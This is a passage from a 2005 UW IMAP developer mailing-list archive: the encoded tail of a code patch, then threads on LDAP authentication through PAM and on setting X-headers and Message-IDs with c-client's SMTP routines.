IFRoZSBJTUFQIHRvb2xraXQgcHJvdmlkZWQgaW4gdGhpcyBEaXN0cmlidXRp b24gaXMNCiAgICogQ29weXJpZ2h0IDE5ODgtMjAwNSBVbml2ZXJzaXR5IG9m IFdhc2hpbmd0b24uDQotLS0gMTAsMTYgLS0tLQ0KICAgKgkJSW50ZXJuZXQ6 IE1SQ0BDQUMuV2FzaGluZ3Rvbi5FRFUNCiAgICoNCiAgICogRGF0ZToJMTEg SnVuZSAxOTk3DQohICAqIExhc3QgRWRpdGVkOgk5IE1heSAyMDA1DQogICAq IA0KICAgKiBUaGUgSU1BUCB0b29sa2l0IHByb3ZpZGVkIGluIHRoaXMgRGlz dHJpYnV0aW9uIGlzDQogICAqIENvcHlyaWdodCAxOTg4LTIwMDUgVW5pdmVy c2l0eSBvZiBXYXNoaW5ndG9uLg0KKioqKioqKioqKioqKioqDQoqKiogNDMw LDQ1OCAqKioqDQogIAlpZiAodGFiW2ldICE9IFVCT0dPTikgcm1hcFt0YWJb aV1dID0gKHVuc2lnbmVkIHNob3J0KSBpOw0KICAgICAgICBicmVhazsNCiAg ICAgIGNhc2UgQ1RfRVVDOgkJLyogMiBieXRlIEFTQ0lJICsgdXRmOF9ldWNw YXJhbSBiYXNlL0NTMi9DUzMgKi8NCi0gICAgIGNhc2UgQ1RfREJZVEU6CQkv KiAyIGJ5dGUgQVNDSUkgKyB1dGY4X2V1Y3BhcmFtICovDQogICAgICAgIGZv ciAocGFyYW0gPSAoc3RydWN0IHV0ZjhfZXVjcGFyYW0gKikgY3MtPnRhYiwN CiAgCSAgIHRhYiA9ICh1bnNpZ25lZCBzaG9ydCAqKSBwYXJhbS0+dGFiLA0K ISAJICAga3UgPSAwOyBrdSA8PSBwYXJhbS0+bWF4X2t1OyBrdSsrKQ0KISAJ Zm9yICh0ZW4gPSAwOyB0ZW4gPD0gcGFyYW0tPm1heF90ZW47IHRlbisrKQ0K ICAJICBpZiAoKHUgPSB0YWJbKGt1ICogcGFyYW0tPm1heF90ZW4pICsgdGVu XSkgIT0gVUJPR09OKQ0KICAJICAgIHJtYXBbdV0gPSAoKGt1ICsgcGFyYW0t PmJhc2Vfa3UpIDw8IDgpICsgKHRlbiArIHBhcmFtLT5iYXNlX3RlbikgKw0K ICAJICAgICAgMHg4MDgwOw0KICAgICAgICBicmVhazsNCiAgICAgIGNhc2Ug Q1RfREJZVEUyOgkJLyogMiBieXRlIEFTQ0lJICsgdXRmOF9ldWNwYXJhbSBw bGFuZTEvMiAqLw0KICAgICAgICBmb3IgKHBhcmFtID0gKHN0cnVjdCB1dGY4 X2V1Y3BhcmFtICopIGNzLT50YWIsDQogIAkgICB0YWIgPSAodW5zaWduZWQg c2hvcnQgKikgcGFyYW0tPnRhYiwNCiEgCSAgIGt1ID0gMDsga3UgPD0gcGFy YW0tPm1heF9rdTsga3UrKykNCiEgCWZvciAodGVuID0gMDsgdGVuIDw9IHBh cmFtLT5tYXhfdGVuOyB0ZW4rKykNCiAgCSAgaWYgKCh1ID0gdGFiWyhrdSAq IHBhcmFtLT5tYXhfdGVuKSArIHRlbl0pICE9IFVCT0dPTikNCiAgCSAgICBy bWFwW3VdID0gKChrdSArIHBhcmFtLT5iYXNlX2t1KSA8PCA4KSArICh0ZW4g KyBwYXJhbS0+YmFzZV90ZW4pICsNCiEgCSAgICAgIDB4ODA4MDsNCiAgICAg ICAgcGFyYW0rKzsNCiEgICAgICAgZm9yIChrdSA9IDA7IGt1IDw9IHBhcmFt LT5tYXhfa3U7IGt1KyspDQohIAlmb3IgKHRlbiA9IDA7IHRlbiA8PSBwYXJh bS0+bWF4X3RlbjsgdGVuKyspDQogIAkgIGlmICgodSA9IHRhYlsoa3UgKiBw YXJhbS0+bWF4X3RlbikgKyB0ZW5dKSAhPSBVQk9HT04pDQogIAkgICAgcm1h cFt1XSA9ICgoa3UgKyBwYXJhbS0+YmFzZV9rdSkgPDwgOCkgKyAodGVuICsg cGFyYW0tPmJhc2VfdGVuKSArDQohIAkgICAgICAweDgwODA7DQogICAgICAg IGJyZWFrOw0KICAgICAgY2FzZSBDVF9TSklTOgkJLyogMiBieXRlIFNoaWZ0 LUpJUyAqLw0KICAgICAgICBmb3IgKGt1ID0gMDsga3UgPD0gTUFYX0pJUzAy MDhfS1U7IGt1KyspDQotLS0gNDMwLDQ2NiAtLS0tDQogIAlpZiAodGFiW2ld ICE9IFVCT0dPTikgcm1hcFt0YWJbaV1dID0gKHVuc2lnbmVkIHNob3J0KSBp Ow0KICAgICAgICBicmVhazsNCiAgICAgIGNhc2UgQ1RfRVVDOgkJLyogMiBi eXRlIEFTQ0lJICsgdXRmOF9ldWNwYXJhbSBiYXNlL0NTMi9DUzMgKi8NCiAg ICAgICAgZm9yIChwYXJhbSA9IChzdHJ1Y3QgdXRmOF9ldWNwYXJhbSAqKSBj cy0+dGFiLA0KICAJICAgdGFiID0gKHVuc2lnbmVkIHNob3J0ICopIHBhcmFt LT50YWIsDQohIAkgICBrdSA9IDA7IGt1IDwgcGFyYW0tPm1heF9rdTsga3Ur KykNCiEgCWZvciAodGVuID0gMDsgdGVuIDwgcGFyYW0tPm1heF90ZW47IHRl bisrKQ0KICAJICBpZiAoKHUgPSB0YWJbKGt1ICogcGFyYW0tPm1heF90ZW4p ICsgdGVuXSkgIT0gVUJPR09OKQ0KICAJICAgIHJtYXBbdV0gPSAoKGt1ICsg cGFyYW0tPmJhc2Vfa3UpIDw8IDgpICsgKHRlbiArIHBhcmFtLT5iYXNlX3Rl bikgKw0KICAJICAgICAgMHg4MDgwOw0KICAgICAgICBicmVhazsNCisgICAg IGNhc2UgQ1RfREJZVEU6CQkvKiAyIGJ5dGUgQVNDSUkgKyB1dGY4X2V1Y3Bh cmFtICovDQorICAgICAgIGZvciAocGFyYW0gPSAoc3RydWN0IHV0ZjhfZXVj cGFyYW0gKikgY3MtPnRhYiwNCisgCSAgIHRhYiA9ICh1bnNpZ25lZCBzaG9y dCAqKSBwYXJhbS0+dGFiLA0KKyAJICAga3UgPSAwOyBrdSA8IHBhcmFtLT5t YXhfa3U7IGt1KyspDQorIAlmb3IgKHRlbiA9IDA7IHRlbiA8IHBhcmFtLT5t YXhfdGVuOyB0ZW4rKykNCisgCSAgaWYgKCh1ID0gdGFiWyhrdSAqIHBhcmFt LT5tYXhfdGVuKSArIHRlbl0pICE9IFVCT0dPTikNCisgCSAgICBybWFwW3Vd ID0gKChrdSArIHBhcmFtLT5iYXNlX2t1KSA8PCA4KSArICh0ZW4gKyBwYXJh bS0+YmFzZV90ZW4pICsNCisgCSAgICAgIDB4ODAwMDsNCisgICAgICAgYnJl YWs7DQogICAgICBjYXNlIENUX0RCWVRFMjoJCS8qIDIgYnl0ZSBBU0NJSSAr IHV0ZjhfZXVjcGFyYW0gcGxhbmUxLzIgKi8NCiAgICAgICAgZm9yIChwYXJh bSA9IChzdHJ1Y3QgdXRmOF9ldWNwYXJhbSAqKSBjcy0+dGFiLA0KICAJICAg dGFiID0gKHVuc2lnbmVkIHNob3J0ICopIHBhcmFtLT50YWIsDQohIAkgICBr dSA9IDA7IGt1IDwgcGFyYW0tPm1heF9rdTsga3UrKykNCiEgCWZvciAodGVu ID0gMDsgdGVuIDwgcGFyYW0tPm1heF90ZW47IHRlbisrKQ0KICAJICBpZiAo KHUgPSB0YWJbKGt1ICogcGFyYW0tPm1heF90ZW4pICsgdGVuXSkgIT0gVUJP R09OKQ0KICAJICAgIHJtYXBbdV0gPSAoKGt1ICsgcGFyYW0tPmJhc2Vfa3Up IDw8IDgpICsgKHRlbiArIHBhcmFtLT5iYXNlX3RlbikgKw0KISAJICAgICAg MHg4MDAwOw0KICAgICAgICBwYXJhbSsrOw0KISAgICAgICBmb3IgKGt1ID0g MDsga3UgPCBwYXJhbS0+bWF4X2t1OyBrdSsrKQ0KISAJZm9yICh0ZW4gPSAw OyB0ZW4gPCBwYXJhbS0+bWF4X3RlbjsgdGVuKyspDQogIAkgIGlmICgodSA9 IHRhYlsoa3UgKiBwYXJhbS0+bWF4X3RlbikgKyB0ZW5dKSAhPSBVQk9HT04p DQogIAkgICAgcm1hcFt1XSA9ICgoa3UgKyBwYXJhbS0+YmFzZV9rdSkgPDwg OCkgKyAodGVuICsgcGFyYW0tPmJhc2VfdGVuKSArDQohIAkgICAgICAweDgw MDA7DQogICAgICAgIGJyZWFrOw0KICAgICAgY2FzZSBDVF9TSklTOgkJLyog MiBieXRlIFNoaWZ0LUpJUyAqLw0KICAgICAgICBmb3IgKGt1ID0gMDsga3Ug PD0gTUFYX0pJUzAyMDhfS1U7IGt1KyspDQo= --0-846930886-1115689422=:28722 Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --0-846930886-1115689422=:28722-- From pinedev@shivax2.cac.washington.edu Fri May 13 09:47:01 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 13 May 2005 09:47:01 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4DGl0Jx000742 for ; Fri, 13 May 2005 09:47:00 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4DGkxMw005021 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 13 May 2005 09:47:00 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4DGkfIA003522; Fri, 13 May 2005 09:46:41 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4DGkeYa003506 for ; Fri, 13 May 2005 09:46:40 -0700 Received: from shaun.wasmer.ca (shaun.wasmer.ca [64.26.155.159]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4DGkdxn002782 for ; Fri, 13 May 2005 09:46:39 -0700 Received: from [192.168.1.176] (g19-210.citenet.net [205.151.195.210]) (authenticated bits=0) by shaun.wasmer.ca (8.12.10/8.12.10) with ESMTP id j4DGkcnf014011 for ; Fri, 13 May 2005 12:46:39 -0400 (EDT) Message-ID: <4284D9EB.3060706@lists.wasmer.ca> Date: Fri, 13 May 2005 12:46:35 -0400 From: Jean-Luc Wasmer User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041206 Thunderbird/1.0 Mnenhy/0.7.2.0 X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.15 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Subject: [Imap-uw] Password in a LDAP db X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi, What is the easiest way to have imap-uw check the password in a ldap database? Thanks, JL _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri May 13 09:53:51 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 13 May 2005 09:53:51 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4DGro5e001150 for ; Fri, 13 May 2005 09:53:50 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4DGrncA005415 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 13 May 2005 09:53:50 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4DGrgxM004891; Fri, 13 May 2005 09:53:42 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4DGreMG004881 for ; Fri, 13 May 2005 09:53:40 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4DGrdek004095 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 13 May 2005 09:53:39 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4DGrahD002558; Fri, 13 May 2005 09:53:36 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4DGrWXr002253 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Fri, 13 May 2005 09:53:35 -0700 Date: Fri, 13 May 2005 09:53:31 -0700 (PDT) From: Mark Crispin To: Jean-Luc Wasmer Subject: Re: [Imap-uw] Password in a LDAP db In-Reply-To: <4284D9EB.3060706@lists.wasmer.ca> Message-ID: References: <4284D9EB.3060706@lists.wasmer.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.176 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 13 May 2005, Jean-Luc Wasmer wrote: > What is the easiest way to have imap-uw check the password in a ldap > database? If you have PAM authentication on your system, the easiest way by far is to configure UW imapd to use PAM, and then configure PAM to use LDAP. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue May 17 06:29:06 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 17 May 2005 06:29:06 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4HDT6VX001252 for ; Tue, 17 May 2005 06:29:06 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4HDT5lQ019795 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 17 May 2005 06:29:05 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4HDSElh031585; Tue, 17 May 2005 06:28:14 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4HDSCZg031576 for ; Tue, 17 May 2005 06:28:12 -0700 Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4HDS9o8028275 for ; Tue, 17 May 2005 06:28:12 -0700 Received: from deepspace.sepia.com ([205.236.40.42]) by VL-MO-MR010.ip.videotron.ca (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep 8 2003)) with ESMTPA id <0IGM00GMLYQPRL@VL-MO-MR010.ip.videotron.ca> for imap-uw@u.washington.edu; Tue, 17 May 2005 09:28:01 -0400 (EDT) Received: from [205.236.40.117] ([205.236.40.117]) (authenticated bits=0) by deepspace.sepia.com (8.12.10/8.12.10) with ESMTP id j4HDNArK029747 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 17 May 2005 09:23:10 -0400 Date: Tue, 17 May 2005 09:28:06 -0400 From: Mike Schmidt To: imap-uw@u.washington.edu Message-id: <4289F166.6040705@sepia.com> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en-us, en User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.137 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Subject: [Imap-uw] c-client and smtp X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi, Does anyone know how I can set X-headers when using c-client's smtp functions? I've looked through the code, but can't seem to quite figure it out. Where are the X-headers, anyway? in the Envelope, Body? I am starting to implement smtp via c-client, but I nned to set some private headers. Another question: Where and when is the Message-Id generated in c-client? If I send through the c-client smtp functions, how do I get the message-Id back to my code, so that I can store the message complete in the sent mailbox? (which I plan to do with the imap append function) Thanks very much for any help you may be able to provide. Mike _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue May 17 18:29:21 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 17 May 2005 18:29:21 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4I1TKlm006602 for ; Tue, 17 May 2005 18:29:20 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4I1TJR9002768 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 17 May 2005 18:29:20 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4I1SwCX019658; Tue, 17 May 2005 18:28:58 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4I1Sv01019650 for ; Tue, 17 May 2005 18:28:57 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4I1Sup4015207 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 17 May 2005 18:28:57 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4I1Su02019457; Tue, 17 May 2005 18:28:56 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4I1Stj3011220 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 17 May 2005 18:28:55 -0700 Date: Tue, 17 May 2005 18:28:58 -0700 (Pacific Daylight Time) From: Mark Crispin To: Mike Schmidt Subject: Re: [Imap-uw] c-client and smtp In-Reply-To: <4289F166.6040705@sepia.com> Message-ID: References: <4289F166.6040705@sepia.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.143 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 17 May 2005, Mike Schmidt wrote: > Does anyone know how I can set X-headers when using c-client's smtp > functions? The default rfc822_output() routine, called by the SMTP routines does not offer any means to write X-headers. There is a kludge by which you can do it, but it would be wrong to do it that way. Instead, you need to write an rfc822out_t routine, which you arm by SET_RFC822OUTPUT, that does something like: my_rfc822_output (char *t,ENVELOPE *env,BODY *body,soutr_t f,void *s, long ok8bit) { if (ok8bit) rfc822_encode_body_8bit (env,body); else rfc822_encode_body_7bit (env,body); my_rfc822_header (t,env,body); return (*f) (s,t) && (body ? rfc822_output_body (body,f,s) : T); } The significant thing here is that you call a routine (which you also write) called my_rfc822_header() instead of the c-client rfc822_header(). rfc822_header() is really a sample routine, and not something that you should use in production; among other things, it doesn't check for buffer overflows. Your routine should do so. You do, however, need to look at rfc822_header() to see what sorts of things that you need to do in your routine. > Where are the X-headers, anyway? in the Envelope, Body? X-headers are not registered headers, and thus do not appear in the ENVELOPE or the BODY. If you need them, you have to fetch them as header strings via mail_fetch_header() with the "lines" argument set to have the name(s) of the particular X-header fields that you want. > Another question: Where and when is the Message-Id generated in c-client? It isn't. That is the job of your application when building the ENVELOPE structure. > If > I send through the c-client smtp functions, how do I get the message-Id back > to my code, so that I can store the message complete in the sent mailbox? > (which I plan to do with the imap append function) As noted above, your application sets env->message_id itself. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed May 18 07:23:43 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 18 May 2005 07:23:42 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IENgWI008021 for ; Wed, 18 May 2005 07:23:42 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IENf4L007480 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 18 May 2005 07:23:41 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IEMq7l030790; Wed, 18 May 2005 07:22:52 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IEMojJ030782 for ; Wed, 18 May 2005 07:22:50 -0700 Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IEMn00001567 for ; Wed, 18 May 2005 07:22:50 -0700 Received: from deepspace.sepia.com ([205.236.40.42]) by VL-MO-MR010.ip.videotron.ca (iPlanet Messaging Server 5.2 HotFix 1.21 (built Sep 8 2003)) with ESMTPA id <0IGO00ENQVY1JA@VL-MO-MR010.ip.videotron.ca> for imap-uw@u.washington.edu; Wed, 18 May 2005 10:22:49 -0400 (EDT) Received: from [205.236.40.117] ([205.236.40.117]) (authenticated bits=0) by deepspace.sepia.com (8.12.10/8.12.10) with ESMTP id j4IEMirK012238 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 18 May 2005 10:22:45 -0400 Date: Wed, 18 May 2005 10:22:56 -0400 From: Mike Schmidt Subject: Re: [Imap-uw] c-client and smtp In-reply-to: To: Mark Crispin Message-id: <428B4FC0.1030200@sepia.com> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en-us, en User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) References: <4289F166.6040705@sepia.com> X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.136 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi, Mark Thanks for the information. I have examined the functions you mentioned, and it makes much more sense to me now in light of your answer. The reality is that I already have the email I wish to send completely formatted as an RFC822 message by the time I am ready to send it. It is currently produced by Microsoft MIME functions. I don't have the Message-Id yet, but that can be done. So it should be reletively easy for me to produce an output routine that just takes the entire message and throws it into the pipe via rfc822_output without taking it all apart. These are signed and encrypted messages anyway, thus a single S/MIME block, already encoded in Base64. (after creating an envelope so that the smtp transaction can get started the regular way). BTW, in case this is of interest to you, I have c-client running in Windows XP with a small OO interface, compiled in C++, and it works very well. I have made absolutely no changes to the code as distributed. Do you have any suggestions as to open source code that generates the message-Id? Or specific well-known algorithms? I suppose this is a roll-your-own situation. I have read about the various algorithms used to produce message-id headers, but didn't see anything that could be interpreted as a standard. There is one thing, though, that I have a question about: In the messages as they are currently produced, the headers are not in any specific order. I use the c-client mail_append_full to import them into the sent mailbox, and they are accepted without problems, x_headers and all by mail_append_full. Can I feed this same message to smtp, or do I need to re-order the headers? (like, put From first)?. The SMTP server is SendMail, latest version, if that makes any difference. This is a sample message: ======================================= X-Mailer: TT-eXpress secure mailer Date: Tue, 10 May 2005 22:26:59 -0400 Thread-Topic: test124-8 X-header-a: -1 thread-index: AcVV0Og7UpWTdVYaTIanYtqNLH8v+g== X-header-b: 0 X-header-c: 0 Message-ID: <000d01c555d0$e8615aa0$7528eccd@mercury> X-header-d: 4 Content-Transfer-Encoding: base64 From: Content-Disposition: attachment; filename="smime.p7m" To: Subject: test124-8 MIME-Version: 1.0 Content-Type: application/pkcs7-mime;smime-type=signed-data;name="smime.p7m"; boundary="----=_NextPart_000_0004_01C555AF.61372990"; name="smime.p7m" Content-Class: urn:content-classes:message Importance: normal Priority: normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 MIIMmgYJKoZIhvcNAQcCoIIMizCCDIcCAQExCzAJBgUrDgMCGgUAMIIEsQYJKoZIhvcNAQcBoIIE ogSCBJ5YLVRUWC1kZXN0cnVjdC10aW1lOiAxODAwDQpYLU1haWxlcjogVFQtZVhwcmVzcyBzZWN1 ..... ============================================================================ Thank you again, Mark. Mike Mark Crispin wrote: > On Tue, 17 May 2005, Mike Schmidt wrote: > >> Does anyone know how I can set X-headers when using c-client's smtp >> functions? > > > The default rfc822_output() routine, called by the SMTP routines does > not offer any means to write X-headers. There is a kludge by which > you can do it, but it would be wrong to do it that way. > > Instead, you need to write an rfc822out_t routine, which you arm by > SET_RFC822OUTPUT, that does something like: > > my_rfc822_output (char *t,ENVELOPE *env,BODY *body,soutr_t f,void *s, > long ok8bit) > { > if (ok8bit) rfc822_encode_body_8bit (env,body); > else rfc822_encode_body_7bit (env,body); > my_rfc822_header (t,env,body); > return (*f) (s,t) && (body ? rfc822_output_body (body,f,s) : T); > } > > The significant thing here is 